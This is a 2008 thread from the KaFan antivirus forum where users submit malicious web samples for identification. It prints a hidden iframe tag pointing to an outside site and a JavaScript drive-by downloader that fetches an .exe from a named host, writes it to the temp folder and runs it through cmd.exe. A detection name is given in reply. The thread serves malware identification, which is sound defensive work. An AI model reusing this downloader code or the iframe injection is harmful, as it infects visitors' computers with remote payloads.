查看: 1742|回复: 4
收起左侧

[已鉴定] 召唤 hunters

 关闭 [复制链接]
挪威的冬天
发表于 2008-5-24 22:37:34 | 显示全部楼层 |阅读模式
<ifxxxxxrame src="http://gm.culhs.com/abc/am3.htm?13" width="100" height="0"></ifxxxxxxrame>
qianwenxiang
发表于 2008-5-24 22:50:50 | 显示全部楼层

  1. FUNCTION GN(N)
  2. {
  3. VAR NUMBER = MATH.RANDOOM()*N; RETURN '~TMP'+MATH.ROUND(NUMBER)+'.EXXE';
  4. }
  5. LJ="HTTP://WWW.TONGJI123.ORG/SOC.EXE";
  6. TRY
  7. { AAA="O";
  8. BBB="BJE";
  9. YYY="CT"";
  10. CCC="ADOD";
  11. DDD="B.STREAM";
  12. EEE="MICROSSOFT.XMLHTT"+"P";
  13. GGG="O";
  14. KKK="P";
  15. MMM="EE";
  16. SSS="N";
  17. VAR DF=DOCUMENT.CREATEELEMENT((AAA+BBB+YYY);
  18. DF.SETATTRIBUTE("CLASSID","CCLSID:BD96C556-65A3-11D0-983A-00C04FC29E36");;
  19. VAR X=DF.CREATEOBJECT(EEE,"");
  20. VAR S=DFF.CREATEOBJECT(CCC+DDD,"");
  21. S.TYPE=1;
  22. X.OOPEN("GET", LJ,0);
  23. X.SEND();
  24. MZ1=GN(10000));
  25. VAR F=DF.CREATEOBJECT("SCRIPTING.FILESYSSTEMOBJECT","");
  26. VAR TMP=F.GETSPECIALFOLDERR(0); MZ1= F.BUILDPATH(TMP,MZ1);
  27. S.OPEN(); TTT=X.RESPONSEBODY;
  28. S.WRITE(TTT);
  29. I=2;

  30. S.SAVETOFILE(MZ1,I); S.CLOSE();
  31. VAR Q=DF.CCREATEOBJECT("SHELL.APPLICATION","");
  32. EXP1==F.BUILDPATH(TMP+'\\SYS'+'TEM32','CMD.EXE');  
  33. Q["SHELLE"+"XECUTE"](EXP1,' /C '+MZ1,"",GGGG+KKK+MMM+SSS,0);
  34. } CATCH(I) { I=1; }
复制代码
召唤成功HTTP://WWW.TONGJI123.ORG/SOC.EXE
醉一生爱妍
发表于 2008-5-24 22:51:40 | 显示全部楼层
原帖由 qianwenxiang 于 2008-5-24 22:50 发表

FUNCTION GN(N)
{
VAR NUMBER = MATH.RANDOOM()*N; RETURN '~TMP'+MATH.ROUND(NUMBER)+'.EXXE';
}
LJ="HTTP://WWW.TONGJI123.ORG/SOC.EXE";
TRY
{ AAA="O";
BBB="BJE";
YYY="CT"";
CCC="ADOD";
DDD ...


召唤faild

because样本重复
Joker
发表于 2008-5-24 22:57:40 | 显示全部楼层
Script.HttpDownloader.i
挪威的冬天
 楼主| 发表于 2008-5-24 23:03:03 | 显示全部楼层
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-12-16 23:30 , Processed in 0.141854 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表